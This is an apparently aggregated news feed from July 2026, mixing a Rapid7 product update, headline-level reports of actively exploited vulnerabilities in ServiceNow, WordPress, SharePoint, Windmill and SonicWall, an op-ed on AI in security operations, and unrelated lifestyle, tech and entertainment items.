Figure 3: Agent Skill for Bulk Export.

Turn exposure filters into live dashboards

Surface Command also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.

For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this blog to learn more.

Platform and Labs

Rapid7 Command Platform

Cyber GRC

Rapid7 introduced Cyber GRC to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.

Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.

Rapid7 Labs

Rapid7 Quarterly Threat Landscape Report

The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the report to explore all key findings and takeaways.

Figure 4: Rapid7's quarterly threat report.

The latest threat research

Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of criminal AI-as-a-Service and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an in-depth analysis of the Dropping Elephant malware campaign, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.

Emergent Threat Response

This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including Oracle PeopleSoft, Palo Alto Networks PAN-OS, Check Point VPN, Ivanti Sentry, cPanel/WHM, and Nginx UI. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, here.

From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.

How Pokémon Go encouraged me to find wonder in the world

Wed, 22 Jul 2026 16:22:37 +0200

These days, I ‘collect’ birdsong and wild flowers, but it all started when my sons and I first set out to find Pikachu and pals

• Don’t get Pushing Buttons delivered to your inbox? Sign up here

Believe it or not, Pokémon Go is 10 years old this month. The wildly successful smartphone game, which allows you to track down lovable creatures in the real world using GPS and augmented-reality technologies, has reportedly been downloaded 800m times across 150 countries and regions. A trillion Pokémon have been caught so far – and I have been responsible for a modest percentage of that figure.

When the game was first released, my sons and I spent many happy hours wandering the streets and parks of Frome searching for Jigglypuffs and Charizards, and the game’s social element, which lets you take on gym battles with other players in your vicinity, offered my autistic son a route to communicate with other children in a way he’d never been able to before.

Hackers Exploit Windmill Flaw to Read Arbitrary Server Files Without Authentication

Wed, 22 Jul 2026 16:10:03 +0200

A high-severity security flaw impacting open-source developer platform Windmill has come under active exploitation in the wild, per VulnCheck. The vulnerability in question is CVE-2026-29059 (CVSS score: 7.5), a case of unauthenticated path traversal impacting Windmill's "get_log_file" endpoint ("/api/w/{workspace}/jobs_u/get_log_file/{filename}"). "The filename parameter is concatenated into

Security Advisory – Action Required – July 2026 Security Update

Wed, 22 Jul 2026 16:09:52 +0200

As part of Check Point’s Frontier AI Readiness Program, we are releasing a jumbo hotfix with security and hardening fixes for our firewall and management products. This update includes a number of security hardening improvements and fixes, the most significant of which are outlined below. During a routine BLAST review, we discovered a few vulnerabilities. Following a thorough analysis, we identified one of those in the wild, affecting a handful of customers. This only affects a very specific configuration — when Management is exposed directly to the internet without IP restrictions. We’ve already notified the affected customers. This is exactly […]

The post Security Advisory – Action Required – July 2026 Security Update appeared first on Check Point Blog.

Hackers Exploit Windmill Flaw to Read Arbitrary Server Files Without Authentication

Wed, 22 Jul 2026 16:09:51 +0200

A high-severity security flaw impacting open-source developer platform Windmill has come under active exploitation in the wild, per VulnCheck. The vulnerability in question is CVE-2026-29059 (CVSS score: 7.5), a case of unauthenticated path traversal impacting Windmill’s “get_log_file” endpoint (“/api/w/{workspace}/jobs_u/get_log_file/{filename}”). “The…

The post Hackers Exploit Windmill Flaw to Read Arbitrary Server Files Without Authentication appeared first on IT Security News.

CISA Warns of WordPress Core SQL Injection Vulnerability Actively Exploited in the Wild

Wed, 22 Jul 2026 15:13:36 +0200

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has issued a warning about an actively exploited SQL injection vulnerability in WordPress Core that could allow attackers to compromise websites and potentially achieve remote code execution. This flaw, tracked as CVE-2026-63030,…

The post CISA Warns of WordPress Core SQL Injection Vulnerability Actively Exploited in the Wild appeared first on IT Security News.

CISA Warns of WordPress Core SQL Injection Vulnerability Actively Exploited in the Wild

Wed, 22 Jul 2026 13:14:19 +0200

The post CISA Warns of WordPress Core SQL Injection Vulnerability Actively Exploited in the Wild appeared first on Cyber Security News.

Glow emerges from stealth at $1.2B valuation to challenge endpoint security in the AI era

Wed, 22 Jul 2026 12:13:13 +0200

Glow is targeting a new class of endpoint risks created by the rapid adoption of AI agents and developer tools inside enterprises. This article has been indexed from Security News | TechCrunch Read the original article: Glow emerges from stealth…

The post Glow emerges from stealth at $1.2B valuation to challenge endpoint security in the AI era appeared first on IT Security News.

Glow emerges from stealth at $1.2B valuation to challenge endpoint security in the AI era

Wed, 22 Jul 2026 12:07:28 +0200

Glow is targeting a new class of endpoint risks created by the rapid adoption of AI agents and developer tools inside enterprises.

AI, security operations and the new race against time

Wed, 22 Jul 2026 11:11:50 +0200

When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.

Security leaders debated what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined technical benchmarks. Industry observers questioned how quickly these capabilities might fall into attackers’ hands.

Those conversations are important. They also point to a larger question that predominates my discussions with CISOs: How much time do we have?

Over the past year, conversations about AI in cybersecurity have changed noticeably. Twelve months ago, security leaders wanted to understand whether AI could meaningfully improve security operations. They wanted to know whether it could accurately investigate alerts, reduce analyst workload and operate reliably in production environments.

Today, security leaders are asking about timelines, implementation, how quickly AI is changing the threat landscape and what that means for how security teams operate.

Anthropic’s Mythos and Glasswing, OpenAI’s Daybreak and advances in DeepSeek accelerate those conversations. Each development provides another glimpse into the pace at which AI capabilities are advancing.

AI now reasons through security problems that historically required highly specialized expertise. The implications span vulnerability discovery, attack-path analysis, reconnaissance, social engineering and security operations.

The shift reflects a broader reality: cybersecurity is entering a period where the pace of adaptation may matter as much as the quality of defenses themselves. AI is accelerating both offense and defense simultaneously. Organizations are quickly redesigning security operations around that reality.

One consequence is becoming increasingly visible. For years, cybersecurity teams invested enormous effort in discovering threats, identifying vulnerabilities, gathering telemetry and collecting intelligence. AI is accelerating many of those activities simultaneously. Visibility is improving. Discovery is accelerating. Investigations are becoming faster and more comprehensive.

The bottleneck is beginning to move. The challenge increasingly centers on how quickly organizations can act on what they know. The organizations that gain an advantage may not be the ones with the most information. They will be the ones who can operationalize that information the fastest.

The timeline is compressing

Cybersecurity has experienced many major technology transitions. Cloud computing changed infrastructure. Mobile devices expanded the attack surface. Digital transformation connected systems that were previously isolated.

AI introduces a different dynamic.

Most technology transitions unfolded over years. Organizations had time to evaluate, pilot, deploy and gradually adapt operating models.

The current AI cycle moves at a different pace.

Capabilities improve continuously. New models arrive every few months. New research emerges every few weeks. Security teams absorb developments at the same time attackers do.

Vulnerability discovery provides a useful example. Security teams have long operated around a familiar cycle of discovery, validation, remediation and protection. AI systems accelerate every stage of that process. Similar patterns exist in phishing, reconnaissance, social engineering and attack planning.

A vulnerability that once moved through that cycle over weeks increasingly now moves through those stages in days or, in some cases, hours.

Attackers are already operating at the speed of AI. Defenders are now focused on reaching the same level of operational speed.

This shift is changing the questions CISOs ask.

Early discussions focused on capability. Could AI investigate alerts accurately? Could it operate reliably in production environments? Could it be trusted with meaningful security work?

As organizations gained experience with AI, the discussion shifted toward implementation. Security teams began evaluating where AI could create operational leverage and how quickly they could deploy it into existing workflows.

Today, many CISOs are focused on timing.

The pace of advancement is influencing planning horizons, budget decisions and operating-model discussions. Security leaders are evaluating how quickly they can introduce AI into investigations, threat hunting, detection engineering and response workflows. Boards are asking questions. Executive teams are paying attention.

Security programs that once viewed AI as a future initiative increasingly view it as a current operational priority.

The industry is moving from evaluating AI as a technology to incorporating AI as a security capability.

The timeline compression creates pressure on the traditional security operations model. Investigation speed, response speed and defensive coverage increasingly determine whether organizations can keep pace with adversaries operating with AI assistance.

Security operations are entering a new phase

The impact of AI is becoming particularly visible inside the SOC.

Many security operations centers were built around a straightforward assumption: alerts flow to human analysts who conduct investigations. Operational capacity scales primarily through hiring.

The volume of security data, the number of alerts and the complexity of modern environments have steadily increased. Security teams have responded by building processes, adding tools and creating specialized analyst roles.

AI introduces a new source of operational capacity.

Investigations that require analysts to examine dozens or hundreds of artifacts across endpoint, identity, cloud, network and email systems can now be performed in minutes. Analysts gain access to investigative depth and consistency that would be difficult to achieve manually at scale.

Many security leaders now view this capability through the lens of operating model design. They are examining how investigations are performed, how work is distributed and where human expertise creates the greatest value.

The evolution of the analyst role

One of the most important developments emerging from early production deployments is the evolution of analyst responsibilities.

Security analysts remain central to security operations. Their expertise becomes even more valuable as AI systems take on larger portions of investigative work.

Threat hunting, detection engineering, response strategy, governance and oversight are receiving increased attention. Analysts spend more time shaping how investigations are conducted, evaluating outcomes and improving overall security operations.

Many organizations are already beginning this shift.

Teams are investing more heavily in proactive security activities. Detection engineering programs are expanding. Threat hunting is becoming more accessible. Analysts are spending more time improving systems and less time repeating investigative tasks.

These changes create what I think of as an analyst-amplified SOC: an environment where AI expands the reach of security professionals and enables deeper security work across the organization.

Trust is critical and it doesn’t have to compromise speed

Faced with a compressing timeline, the instinct is to treat speed and trust as a trade-off, i.e., move faster, verify less. That trade-off feels inevitable. It isn’t.

You don’t trust AI in the abstract. You trust that a system understands your tools, your telemetry and the edge cases that only exist in your network. The problem was never speed. It’s speed without context. The faster a context-blind system runs, the more decisions you’re left unable to verify.

The tension eases when the system is quick to deploy and tunes to your environment once it’s there, rather than treating every network the same. Speed stops being the thing you trade against trust. The more it learns about your environment, the sharper and more trustworthy it becomes, so the two compound rather than compete. Trust still develops through operational evidence such as measurable outcomes, visibility into decisions and consistent performance. But where that evidence accrues matters.

The organizations making the fastest real progress understand this. They don’t compromise quality and trust for speed. They invest in AI that earns trust inside their own environment, so they don’t have to choose.

Leadership during a period of rapid change

The conversations surrounding Mythos and Glasswing reflect a broader reality facing security leaders.

AI is becoming part of both offense and defense. Security teams are incorporating it into investigations, detection engineering, response workflows and threat hunting. Attackers are incorporating it into their own operations.

Security leaders have an opportunity to modernize operating models, expand defensive capacity and build organizational experience while these capabilities continue to evolve.

The organizations making progress today are investing in readiness. They are building experience, adapting workflows and preparing teams for a new model of security operations.

The next phase of cybersecurity will be defined by how effectively organizations combine human judgment with machine-scale execution.

The question facing security leaders is increasingly clear: How quickly can their organizations adapt to a continuously changing threat environment?

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

The Witcher 3: Wild Hunt – Songs of the Past auf der Gamescom 2026

Wed, 22 Jul 2026 11:03:49 +0200

Geralt schwingt erneut die Silberschwerter: Auf der Gamescom 2026 zeigt CD Projekt Red erstmals neue Szenen aus "The Witcher 3: Songs of the Past".

Hackers are Actively Exploiting ServiceNow Vulnerability in the Wild

Wed, 22 Jul 2026 07:22:03 +0200

A critical ServiceNow vulnerability, tracked as CVE-2026-6875, is being actively exploited to allow unauthenticated attackers to escape the script sandbox and execute code on affected systems. The vulnerability specifically impacts the ServiceNow AI Platform and is described as a pre-authentication sandbox escape. This means that an attacker may not need to have a valid ServiceNow […]

The post Hackers are Actively Exploiting ServiceNow Vulnerability in the Wild appeared first on Cyber Security News.

Apple and the changing of the guard

Tue, 21 Jul 2026 18:33:57 +0200

What’s going well

Just look at the evidence:

Apple is building market share across its entire product range; even memory-driven price inflation doesn’t seem to have dampened demand for its hardware yet.
While Apple had to raise prices, the company’s MacBook Neo remains seriously popular. It’s sitting atop Amazon’s US best-selling chart, which currently includes six Macs in the top 10. The Neo has topped this chart since its introduction.
Apple’s iPhone 17 series continues to sell well, with recent market data showing sustained growth. Both Counterpoint and IDC tell us that iPhone shipments continue to increase, even as other vendor shipments slide.
IDC analyst Francisco Jeronimo recently estimated that Apple’s upcoming foldable iPhone Ultra could grab 29.4% of global folding smartphone sales this year, rising to 34.9% in 2027.
The company’s new 27 series of operating systems is attracting a great response as beta testers report that it is already solid, stable, and performing well.
The AI narrative has really changed, with analysts no longer quite so starry-eyed at the prospects for the big frontier AI firms. Apple’s edge-AI-enabling approach is winning converts.

What’s coming up

Apple has just set out its stall to brand-loyal fans in a big way and did so before OpenAI gets to woo the same set of customers with a wriggle of its Jony Ive-tinged talisman.

If nothing else, it means consumers will forever be asking, “If OpenAI’s designers are so good, why did it need to poach them from Apple?” Doubt is a weapon.

Managing perception

Given the proximity of the leadership transition, it’s highly probable that Ternus signed-off on the litigation; in doing so he — and Apple — tell us to expect more of the same.

My kingdom come

This is Apple’s party. OpenAI’s name didn’t make the list.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to The Core.

Ricky Gervais Says ‘Alley Cats’ Takes a New Approach to Adult Animation

Tue, 21 Jul 2026 17:59:51 +0200

Ricky Gervais has shared fresh details about his upcoming Netflix adult animated comedy Alley Cats, explaining how the series breaks away from traditional animation. During new press interviews, Gervais, Tom Basden, and Diane Morgan revealed that the show was built around live comedy performances, improvisation, and emotional storytelling ahead of its August 7, 2026 premiere. The six-episode series follows a gang of foul-mouthed feral cats trying to survive while navigating everyday life in a harsh human world. Alongside its sharp humor, the show also explores friendship, grief, and mortality through the lives of its feline characters. Ricky Gervais Wanted to Change How Animated Shows Are Made According to Gervais, the biggest difference with Alley Cats came before the animation even started. Instead of recording each actor separately in a sound booth, he insisted on bringing the entire cast together for every episode. The group performed scenes at the same time, allowing conversations to flow naturally and giving actors room to interrupt, react, and improvise. Gervais explained that each recording session lasted far longer than the final episode. With nearly two hours of material recorded for a 15-minute episode, the creative team could choose the funniest moments while keeping performances spontaneous and realistic. He believes that "audio is king" in animation, and the visuals should support the performances instead of limiting them. Improvisation Created Some Wild Moments That recording style led to plenty of unexpected comedy. Diane Morgan revealed that many improvised jokes became far too outrageous to make the final cut. She credited fellow cast member David Earl for pushing scenes into completely unpredictable territory, often forcing the team to stop and ask whether certain jokes could actually stay in the series. Those sessions helped create conversations that sound less scripted and more like friends talking naturally. A Cast Built Around British Comedy Gervais described the voice cast as the "Avengers of British comedy" because he wrote many characters specifically for actors he has worked with before. Tom Basden voices Ponce, a well-kept house cat whose education and manners constantly clash with the rough street cats around him. Basden says Ponce often acts like an outsider while secretly understanding the softer side of Gus, voiced by Gervais. Diane Morgan plays Olive, a cheerful but not particularly bright cat whose simple outlook adds another layer of comedy. Morgan joked that Olive quickly loses interest in Ponce after learning one unexpected detail about him. Comedy With Genuine Emotion Although Alley Cats promises plenty of crude jokes, Gervais says the series also explores emotional themes that have appeared throughout his previous work. One important storyline follows the group caring for a lost kitten while confronting the reality of death for the first time. Gervais explained that childhood memories about losing pets inspired those scenes and shaped the emotional core of the series. Morgan said viewers may expect nothing more than "sweary cats," but the show eventually delivers emotional moments that stay with the audience. Basden added that the story also looks at humanity's relationship with nature and the uncertainty every living creature faces. Music and Release Date The soundtrack will include songs from Cat Stevens, Coldplay, and Van Halen. Gervais also confirmed that The Smiths' classic "There Is a Light That Never Goes Out" appears in the series after both Morrissey and Johnny Marr approved its use, with Marr donating his licensing fee to an animal charity. Alley Cats premieres globally on Netflix on August 7, 2026. The adult animated sitcom has already generated strong interest following its Annecy Festival preview, where audiences received an early look at the first two episodes.

Critical SharePoint Remote Code Execution Vulnerability Actively Exploited in the Wild

Tue, 21 Jul 2026 17:57:38 +0200

A newly disclosed vulnerability, tracked as CVE-2026-50522, is rattling enterprise IT teams as it allows unauthenticated attackers to remotely execute code on on-premises Microsoft SharePoint servers. The flaw carries a critical CVSS score of 9.8 and stems from deserialization of…

The post Critical SharePoint Remote Code Execution Vulnerability Actively Exploited in the Wild appeared first on IT Security News.

Critical SharePoint Remote Code Execution Vulnerability Actively Exploited in the Wild

Tue, 21 Jul 2026 15:52:44 +0200

The post Critical SharePoint Remote Code Execution Vulnerability Actively Exploited in the Wild appeared first on Cyber Security News.

The Witcher 3: Wild Hunt - Songs of the Past DLC expansion has been confirmed to appear at Gamescom 2026's opening night live ceremony

Tue, 21 Jul 2026 15:29:11 +0200

CD Projekt Red has announced that The Witcher 3: Wild Hunt's highly anticipated 'Songs of the Past' DLC expansion will debut at Gamescom's opening night ceremony on August 25, 2026.

A New Ransomware Threat Actor Emerges Every Week, Warns Report

Tue, 21 Jul 2026 15:25:47 +0200

Analysis by Black Kite warns that ransomware ecosystem is becoming bigger and more fragmented

A New Ransomware Threat Actor Emerges Every Week, Warns Report

Tue, 21 Jul 2026 15:25:38 +0200

Analysis by Black Kite warns that ransomware ecosystem is becoming bigger and more fragmented This article has been indexed from www.infosecurity-magazine.com Read the original article: A New Ransomware Threat Actor Emerges Every Week, Warns Report

The post A New Ransomware Threat Actor Emerges Every Week, Warns Report appeared first on IT Security News.

SonicWall 0-day Vulnerabilities Exploited in the Wild to Deploy Custom Malware

Tue, 21 Jul 2026 13:08:42 +0200

Attackers actively exploited two zero-day vulnerabilities in SonicWall Secure Mobile Access (SMA) VPN appliances to gain root access and deploy custom malware. In early July 2026, the cybersecurity firm Volexity was involved in investigating an intrusion related to the SonicWall…

The post SonicWall 0-day Vulnerabilities Exploited in the Wild to Deploy Custom Malware appeared first on IT Security News.

SonicWall 0-day Vulnerabilities Exploited in the Wild to Deploy Custom Malware

Tue, 21 Jul 2026 12:38:45 +0200

The post SonicWall 0-day Vulnerabilities Exploited in the Wild to Deploy Custom Malware appeared first on Cyber Security News.

Hackers Exploit ServiceNow Sandbox Escape Flaw for Pre-Auth Remote Code Execution

Tue, 21 Jul 2026 11:39:26 +0200

Threat actors have begun actively exploiting CVE-2026-6875, a critical pre-authentication vulnerability in the ServiceNow AI Platform that allows unauthenticated remote code execution through a script sandbox escape. Threat intelligence firm Defused confirmed the first exploitation attempts surfaced on Friday, with active in-the-wild. CVE-2026-6875 is a code injection flaw that lets attackers escape ServiceNow’s script sandbox […]

The post Hackers Exploit ServiceNow Sandbox Escape Flaw for Pre-Auth Remote Code Execution appeared first on Cyber Security News.

Wild Woods: Neues Update bringt Guardian ins Team – was taugt die neue Rolle?

Tue, 21 Jul 2026 10:33:00 +0200

Süße Kätzchen, gefährliche Wälder: Das neue Update 0.5.0 für "Wild Woods" bringt eine vierte Rolle ins Team und erweitert den Koop-Spaß. Außerdem gibt's 67 Prozent Rabatt.

Critical ServiceNow AI Platform Flaw Exploited for Unauthenticated Code Execution

Tue, 21 Jul 2026 10:08:42 +0200

Threat actors are now exploiting a recently disclosed critical security flaw impacting ServiceNow AI Platform, according to Defused Cyber. In a post shared on X, the threat intelligence firm said it’s observing in-the-wild exploitation of CVE-2026-6875 (CVSS score: 9.5), a…

The post Critical ServiceNow AI Platform Flaw Exploited for Unauthenticated Code Execution appeared first on IT Security News.

Critical ServiceNow AI Platform Flaw Exploited for Unauthenticated Code Execution

Tue, 21 Jul 2026 09:54:33 +0200

Threat actors are now exploiting a recently disclosed critical security flaw impacting ServiceNow AI Platform, according to Defused Cyber. In a post shared on X, the threat intelligence firm said it's observing in-the-wild exploitation of CVE-2026-6875 (CVSS score: 9.5), a sandbox escape vulnerability that could allow an unauthenticated user to run arbitrary code. Patches for the flaw were

Drinking 5 Cups of Coffee a Day Could Reduce Heart Risk

Tue, 21 Jul 2026 09:24:02 +0200

A new American Heart Association scientific statement concludes that up to about 400 milligrams a day, or roughly three to five cups of plain coffee, is safe for most adults and may be linked to lower risks of cardiovascular disease. The benefits appear to depend heavily on the source and preparation, with coffee and tea looking more favorable than energy drinks, and added sugar, cream, syrups, or sweeteners potentially canceling out the upside. ScienceAlert reports: "Caffeine consumed in coffee is a key part of daily life for millions of people," says Gregory Marcus, cardiologist at the University of California, San Francisco, and Chair of the AHA volunteer writing group behind the statement. "In our review of the most recent research, for most adults, intake of up to 400 milligrams of caffeine per day, the equivalent of up to five cups of caffeinated coffee per day without added sugars or fillers, is safe and does not increase cardiovascular risk." The statement focused on caffeine's relationship with cardiovascular risk factors, such as blood pressure and diabetes, as well as types of cardiovascular disease, including arrhythmias, coronary artery disease, stroke, and heart failure. The picture that emerges is complicated, but generally positive. [...] All up, the new AHA statement concludes that there's a growing body of evidence that caffeine isn't harmful when taken in moderation, and that coffee specifically may be beneficial. The statement was published in the journal Circulation.

Read more of this story at Slashdot.

Hackers Are Exploiting Recently Patched WordPress Bugs, Putting Millions of Websites at Risk

Tue, 21 Jul 2026 05:39:41 +0200

An anonymous reader quotes a report from TechCrunch: Hackers are breaking into websites that run vulnerable versions of the popular blogging software WordPress, according to several cybersecurity firms. One estimate puts the number of vulnerable WordPress websites at tens of millions as of Monday. Last week, WordPress patched two critical security flaws, urging people who run its software on their websites to update it "immediately." The vulnerabilities are so severe that WordPress enabled forced updates where possible. Since then, cybersecurity companies Patchstack, Hexastrike, and WatchTowr have all warned that hackers are exploiting the vulnerabilities in the wild, meaning they are taking over websites that are still running susceptible versions of WordPress. It's unclear how many WordPress-powered websites on the internet are at risk, but it's possible to make some educated guesses. The vulnerable versions of WordPress are 6.9.0 through 6.9.4, and 7.0.0 to 7.0.1. According to WordPress' official stats, there are more than 400 million websites that run those flawed versions, although these statistics likely don't reflect websites that have recently been patched. Cybersecurity consultant Daniel Card, who told TechCrunch that he looked at a sample of around 3,500 WordPress websites, estimates that less than 15% are vulnerable. Applying Card's projection across the total population of WordPress websites on the internet, the total figure would still be around 90 million. [...] One of the critical WordPress bugs was found and reported by Adam Kues of cybersecurity firm Searchlight Cyber, which dubbed it WP2Shell. Paired with the other bug, hackers can take full remote control of vulnerable websites.

Read more of this story at Slashdot.

ServiceNow’s sandbox escape RCE hole now exploited in the wild

Mon, 20 Jul 2026 22:53:39 +0200

A sandbox security hole that could lead to remote code execution (RCE), patched last week by ServiceNow, is being actively exploited in the wild, according to a report from threat intel firm Defused.

The report, posted on X, said the firm is “observing in-the-wild exploitation of the ServiceNow pre-auth sandbox-escape RCE (CVE-2026-6875).”

Defused CEO Simo Kohonen, in an interview with CSO Online, noted that it appeared that the attacker has changed its tactics from those documented in an earlier proof of concept (PoC) from researchers at Searchlight Cyber, in response to ServiceNow patches and defenses. The company had implemented five different mitigations in its code base, which “neutered” the initial attack methodology, he said, adding that, overall, his team is seeing more attack method tweaks than it used to see.

“We are seeing a lot of [attack] variations, much more so than a year ago, for the same vulnerability,” Kohonen said. Attackers “now have more tools to build their own stuff.”

However, he admitted that his team has thus far only observed this exploit an in the wild exploitation “once, by one actor.”

In response to the report, ServiceNow issued a statement saying that it has not yet directly seen any such exploitations.

“ServiceNow is aware of a cybersecurity company’s recent publication regarding exploitation activity associated with a previously disclosed security vulnerability, identified as CVE-2026-6875. Based on our investigation to date, we have not observed evidence that this activity is related to instances that ServiceNow hosts,” the emailed statement said. “We have provided updates and patches designed to address this issue, and we encourage our self-hosted and ServiceNow-hosted customers to apply the relevant patches if they have not already done so.”

A ‘repeatable failure point’

Analysts and consultants said the bigger concern with this hole is that it focuses on the lack of protections in the sandbox, which many security and IT teams have relied on for years.

“The vulnerability lets an attacker bypass ServiceNow’s scripting sandbox entirely, and researchers are now seeing exploitation using a different technique than the one originally published, which means signature-based defenses built on the first proof of concept are unlikely to catch every variant,” said Frank Dickson, group VP for security at IDC.

“A compromise that starts in the cloud tenant can end up inside the corporate network, turning a SaaS incident into an on-premises one,” he pointed out. “And because ServiceNow frequently houses HR records, CMDB asset data, and the ticketing system itself, an attacker sitting inside it may have visibility into how the incident response team is tracking the incident.”

Dickson added that this incident is further proof that both IT and security teams need to reevaluate their patching methodologies.

“Enterprises outsource patching for platforms like ServiceNow to the vendor, but keep the risk that comes from what those platforms touch: HR records, CMDB inventories, and now on-premises systems through MID Server integration. Control sits with the vendor, liability sits with the enterprise, and that mismatch argues for treating core SaaS platforms as part of the internal attack surface, not externalized vendor risk,” he said, noting that as vendors embed more AI-driven scripting into their platforms, the sandbox boundary becomes “a repeatable failure point.”

Because of this, he advised, “CISOs should start asking every AI-enabled SaaS vendor how that boundary is architected and tested, before the next version of this story breaks elsewhere.”

Noah Kenney, principal consultant at Digital 520, said the sandbox escape is the more disturbing element of the issue.

“The significance is not that ServiceNow had a critical bug, so much as the fact that the bug is a sandbox escape in the AI Platform, which means the containment layer specifically built to run untrusted AI-driven code safely is the thing that failed,” he said. “CISOs have been told repeatedly that the sandbox is what makes enterprise AI safe to deploy, but we’re now seeing the sandbox breaking and that should reframe how CISOs think about every feature sitting behind a similar wall.”

Addition of AI increases blast radius

This is yet another example where AI is fundamentally changing just about every IT and security rule, he pointed out.

“Enterprises are bolting AI onto their most privileged systems of record faster than anyone is updating the threat models for those systems, and the AI layer is becoming the softest part of the hardest targets,” Kenney said. “The real question for a CISO is how many of your critical platforms shipped an AI feature in the past year, and whether a single person in your organization can tell you what that did to the pre-auth attack surface. Most cannot, and that is the actual exposure.”

Aman Mahapatra, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, agreed.

“A vulnerability that gives an attacker a foothold in the ServiceNow instance is now also a vulnerability that gives them access to whatever AI agents are running inside that instance, along with any capability tokens, service accounts, or delegated permissions those agents hold,” Mahapatra said. “The blast radius of a ServiceNow compromise in 2026 is meaningfully larger than the same compromise would have been in 2023, and most enterprise security programs have not caught up to that shift.”

Defused’s Kohonen said that he did not disagree with the sandbox concerns, but he stressed that enterprise CISOs have long ago abandoned the belief that sandboxes are secure.

“Nothing is foolproof, and having a sandbox is better than not having one,” he said. “But the belief that a sandbox removes all of the risk is incredibly dumb,” especially in the reality of today’s threat landscape, which contains “an endless conveyor belt of exploits.”

ServiceNow’s sandbox escape RCE hole now exploited in the wild

Mon, 20 Jul 2026 22:47:57 +0200

A sandbox security hole that could lead to remote code execution (RCE), patched last week by ServiceNow, is being actively exploited in the wild, according to a report from threat intel firm Defused.

The report, posted on X, said the firm is “observing in-the-wild exploitation of the ServiceNow pre-auth sandbox-escape RCE (CVE-2026-6875).”

Defused CEO Simo Kohonen noted in an interview that it appeared that the attacker has changed its tactics from those documented in an earlier proof of concept (PoC) from researchers at Searchlight Cyber, in response to ServiceNow patches and defenses. The company had implemented five different mitigations in its code base, which “neutered” the initial attack methodology, he said, adding that, overall, his team is seeing more attack method tweaks than it used to see.

“We are seeing a lot of [attack] variations, much more so than a year ago, for the same vulnerability,” Kohonen said. Attackers “now have more tools to build their own stuff.”

However, he admitted that his team has thus far only observed this exploit an in the wild exploitation “once, by one actor.”

In response to the report, ServiceNow issued a statement saying that it has not yet directly seen any such exploitations.

A ‘repeatable failure point’

Analysts and consultants said the bigger concern with this hole is that it focuses on the lack of protections in the sandbox, which many security and IT teams have relied on for years.

Dickson added that this incident is further proof that both IT and security teams need to reevaluate their patching methodologies.

Because of this, he advised, “CISOs should start asking every AI-enabled SaaS vendor how that boundary is architected and tested, before the next version of this story breaks elsewhere.”

Noah Kenney, principal consultant at Digital 520, said the sandbox escape is the more disturbing element of the issue.

Addition of AI increases blast radius

This is yet another example where AI is fundamentally changing just about every IT and security rule, he pointed out.

Aman Mahapatra, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, agreed.

Defused’s Kohonen said that he did not disagree with the sandbox concerns, but he stressed that enterprise CISOs have long ago abandoned the belief that sandboxes are secure.

This article originally appeared on CSOonline.

ServiceNow pre-auth RCE exploited in the wild (CVE-2026-6875)

Mon, 20 Jul 2026 17:08:20 +0200

The post ServiceNow pre-auth RCE exploited in the wild (CVE-2026-6875) appeared first on IT Security News.

Neo Emerges From Stealth With $100M to Control and Secure Enterprise AI Software

Mon, 20 Jul 2026 17:08:19 +0200

Neo raised money across seed and Series A funding rounds from Andreessen Horowitz, Bessemer Venture Partners, and others. The post Neo Emerges From Stealth With $100M to Control and Secure Enterprise AI Software appeared first on SecurityWeek. This article has…

The post Neo Emerges From Stealth With $100M to Control and Secure Enterprise AI Software appeared first on IT Security News.

ServiceNow pre-auth RCE exploited in the wild (CVE-2026-6875)

Mon, 20 Jul 2026 16:55:14 +0200

Attackers have begun exploiting CVE-2026-6875, a critical pre-authentication vulnerability in the ServiceNow AI Platform, according to threat intelligence firm Defused. About the vulnerability ServiceNow AI is a Platform-as-a-Service that lets organizations build and automate digital workflows. CVE-2026-6875 is a code injection vulnerability that lets unauthenticated attackers escape ServiceNow’s script sandbox and execute code remotely on a targeted instance. The vulnerability was unearthed by Searchlight Cyber researchers and reported to ServiceNow in early April 2026. The … More →

The post ServiceNow pre-auth RCE exploited in the wild (CVE-2026-6875) appeared first on Help Net Security.

Neo Emerges From Stealth With $100M to Control and Secure Enterprise AI Software

Mon, 20 Jul 2026 16:54:57 +0200

Neo raised money across seed and Series A funding rounds from Andreessen Horowitz, Bessemer Venture Partners, and others.

The post Neo Emerges From Stealth With $100M to Control and Secure Enterprise AI Software appeared first on SecurityWeek.

From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab

